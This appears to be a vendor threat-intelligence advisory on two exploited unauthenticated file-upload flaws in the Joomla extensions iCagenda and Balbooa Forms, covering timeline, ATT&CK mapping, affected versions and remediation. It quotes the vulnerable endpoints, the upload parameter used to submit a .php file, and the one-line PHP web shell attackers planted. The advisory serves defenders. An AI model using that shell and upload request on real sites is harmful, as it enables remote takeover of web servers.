CISA KEV: Joomla iCagenda (CVE-2026-48939) and Balbooa Forms (CVE-2026-56291) Unrestricted File Upload Flaws Under Active Exploitation

CISA KEV: Joomla iCagenda (CVE-2026-48939) and Balbooa Forms (TL-2026-1266) is a critical-severity software vulnerability scored CVSS 10, first published 2026-07-13. It has no confirmed attribution, affects JoomliC iCagenda, references 2 CVEs (CVE-2026-48939, CVE-2026-56291), maps to 14 MITRE ATT&CK techniques (T1005, T1036, T1059.004), and is covered by 9 detection rules and 15 indicators of compromise.

Key facts for TL-2026-1266

Threat ID
TL-2026-1266
Severity
CRITICAL
CVSS
10 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A/AU:Y/U:Red)
Status
ACTIVE
Category
VULNERABILITY
First published
2026-07-13
Last reviewed
2026-07-13
Attribution confidence
LOW
Motivation
UNKNOWN
Target sectors
government administration, web-hosting, news - media, professional-services, non-profit organisation
Target regions
Global
Detection rules
9
Indicators of compromise
15

Two unauthenticated unrestricted-file-upload vulnerabilities in the Joomla extensions iCagenda (CVE-2026-48939, CVSS 10.0) and Balbooa Forms (CVE-2026-56291, CVSS 10.0) are being actively exploited in the wild to write PHP web shells directly into web-accessible upload directories, giving attackers full remote code execution on the underlying server. Both CVEs were added to CISA's Known Exploited Vulnerabilities catalog on 2026-07-10, triggering a Binding Operational Directive remediation deadline of 2026-07-13 for Federal Civilian Executive Branch agencies.

How CISA KEV: Joomla iCagenda (CVE-2026-48939) and Balbooa Forms works

iCagenda is a Joomla event-management extension whose public 'Submit an Event' registration form accepts file attachments. The vulnerable processing controller (reached via `index.php?option=com_icagenda&task=registration.submit`) enforced authorization only at the view layer, not in the controller itself, and performed no file-extension allow-listing, MIME-type check, or content validation before writing the uploaded file — with its attacker-supplied extension intact — into the web-accessible directory `images/icagenda/frontend/attachments/`. An unauthenticated attacker who first harvests a form token from any public event page can POST a `.php` file disguised as an attachment (`jform[attachment]=@shell.php;type=application/x-php`) and then request it directly to achieve remote code execution. Automated exploitation by a bot identifying itself as `icagenda-batch/1.0` began on 2026-06-15 at approximately 08:00 UTC, scanning Joomla sites for the extension, uploading a minimal PHP shell (`<?php echo "OK|".php_uname(); system($_GET["c"]); ?>`), and then immediately probing the attachments directory for the planted file. The vendor JoomliC was notified the same day and shipped fixes in versions 4.0.8 (current branch) and 3.9.15 (legacy branch); CVE-2026-48939 was formally published 2026-06-20. Affected releases span iCagenda 1.0.0 through 4.0.7 (RCE confirmed on Joomla 6 sites; the authorization bypass itself affects Joomla 2.5 through 6).

Balbooa Forms is a Joomla form-builder extension with an equivalent flaw: the frontend task `index.php?option=com_baforms&task=form.uploadAttachmentFile` accepted file uploads from any anonymous visitor with no authentication, no CSRF token, and no file-type allow-list, extracting and trusting the attacker-supplied file extension verbatim. This let an attacker upload a `.php` file into `images/baforms/uploads/form-<id>/` and execute it by direct request — full unauthenticated RCE (CWE-434). The flaw was discovered on 2026-07-08 not through routine research but via a Hetzner abuse report showing live exploitation against a customer site; it was privately disclosed to Balbooa the same day, and version 2.4.1 was released 2026-07-09 with CVE-2026-56291 assigned. All Balbooa Forms releases up to and including 2.4.0 are vulnerable; the vendor and the discovering researchers deliberately withheld the full request body and no public PoC has been released for this CVE (unlike iCagenda, for which a public PoC exploit exists on GitHub).

Both flaws follow an identical exploitation pattern common to Joomla extension supply chains: a public-facing, unauthenticated form-submission endpoint with a file-attachment feature that bypasses Joomla's core `MediaHelper` extension allow-list, letting attackers plant a web shell and pivot to full server compromise — command execution, data theft, rogue administrator account creation, content/template tampering, malware distribution, and reuse of the compromised server as attack infrastructure. CISA added both to the KEV catalog on 2026-07-10, and the Australian Cyber Security Centre has separately warned of a broader ongoing campaign abusing similar unauthenticated file-upload/RCE vectors across WordPress, Craft CMS, and Joomla plugins.

MITRE ATT&CK techniques used in TL-2026-1266

Collection

T1005 Data from Local System

Defense Evasion

T1036 Masquerading; T1070.004 File Deletion

Execution

T1059.004 Unix Shell; T1203 Exploitation for Client Execution

Command and Control

T1071.001 Web Protocols

Discovery

T1082 System Information Discovery; T1083 File and Directory Discovery

Persistence

T1136.001 Local Account; T1505.003 Web Shell

Initial Access

T1190 Exploit Public-Facing Application

Impact

T1491.002 External Defacement

Resource Development

T1587.001 Malware

Reconnaissance

T1595.002 Vulnerability Scanning

Affected products and versions in CISA KEV: Joomla iCagenda (CVE-2026-48939) and Balbooa Forms

  • JoomliC — iCagenda
    Vulnerable versions: 1.0.0-3.9.14; 4.0.0-4.0.7
    Fixed in: 3.9.15; 4.0.8
  • Balbooa — Balbooa Forms
    Vulnerable versions: up to 2.4.0
    Fixed in: 2.4.1

Remediation for CISA KEV: Joomla iCagenda (CVE-2026-48939) and Balbooa Forms

Patches

  • iCagenda 4.0.8 (current branch)
  • iCagenda 3.9.15 (legacy branch)
  • Balbooa Forms 2.4.1

Immediate actions

  • Update iCagenda to 4.0.8 (current branch) or 3.9.15 (legacy branch) immediately
  • Update Balbooa Forms to 2.4.1 or later immediately
  • Do not rely on unpublishing the extension in the Joomla admin panel — this does not remove the vulnerable controller endpoint or protect the site
  • Audit images/icagenda/frontend/attachments/ and images/baforms/uploads/form-<id>/ for unexpected PHP or executable files
  • Review the iCagenda unapproved-event queue and Balbooa Forms submissions for unauthorized entries
  • Rotate Joomla administrator passwords and site secrets if compromise is suspected
  • Restrict or disable public-facing file-attachment/upload functionality until patched
  • Restore from known-clean backups if a web shell or backdoor is confirmed

Workarounds

  • Disable the vulnerable extension's public submission/upload endpoint via server-level access restriction (e.g., web server rule blocking task=registration.submit / task=form.uploadAttachmentFile) if immediate patching is not possible
  • Add server-side execution denial (e.g., .htaccess/nginx rule preventing PHP execution) inside images/icagenda/frontend/attachments/ and images/baforms/uploads/

Longer-term hardening

  • Deploy web application firewall rules blocking PHP file uploads to Joomla images/ media directories
  • Enforce Joomla core MediaHelper file-extension allow-listing in all custom/third-party extension upload handlers
  • Implement file-integrity monitoring on Joomla media and template directories
  • Conduct periodic third-party extension security review for Joomla installations
  • Monitor for anomalous outbound traffic and unfamiliar administrator accounts as compromise indicators

CVEs associated with CISA KEV: Joomla iCagenda (CVE-2026-48939) and Balbooa Forms

CVE-2026-48939, CVE-2026-56291

Weaknesses (CWE) in CISA KEV: Joomla iCagenda (CVE-2026-48939) and Balbooa Forms

CWE-434, CWE-276, CWE-284

Timeline of CISA KEV: Joomla iCagenda (CVE-2026-48939) and Balbooa Forms

  • Researchers confirm the iCagenda vulnerability via code review, reproduce upload-to-shell locally, responsibly disclose to vendor JoomliC same day, which releases patched version 4.0.8 for the current branch.
  • Automated zero-day exploitation of CVE-2026-48939 begins at approximately 08:00 UTC; a bot identifying as 'icagenda-batch/1.0' scans Joomla sites running iCagenda and uploads PHP web shells via the unauthenticated event-submission endpoint.
  • JoomliC releases patched version 3.9.15 for the legacy iCagenda branch.
  • CVE-2026-48939 is officially published for the iCagenda unrestricted file upload vulnerability.
  • CVE-2026-56291 in Balbooa Forms is discovered after a customer supplies raw access logs following a Hetzner abuse report showing live exploitation of the upload handler; the flaw is privately disclosed to Balbooa the same day.
  • Balbooa releases version 2.4.1 fixing CVE-2026-56291; the CVE identifier is assigned.
  • CISA adds both CVE-2026-48939 and CVE-2026-56291 to its Known Exploited Vulnerabilities (KEV) catalog based on confirmed real-world exploitation.
  • Cyber Security News and other outlets publish coverage summarizing active exploitation of both Joomla extension vulnerabilities and the CISA KEV listing.
  • Federal Civilian Executive Branch agency remediation deadline for both KEV entries.

Sources cited for CISA KEV: Joomla iCagenda (CVE-2026-48939) and Balbooa Forms

Threats related to CISA KEV: Joomla iCagenda (CVE-2026-48939) and Balbooa Forms

Detection coverage for TL-2026-1266

As of 2026-07-13, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-1266 across Splunk SPL, Microsoft KQL and Sigma, covering 15 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats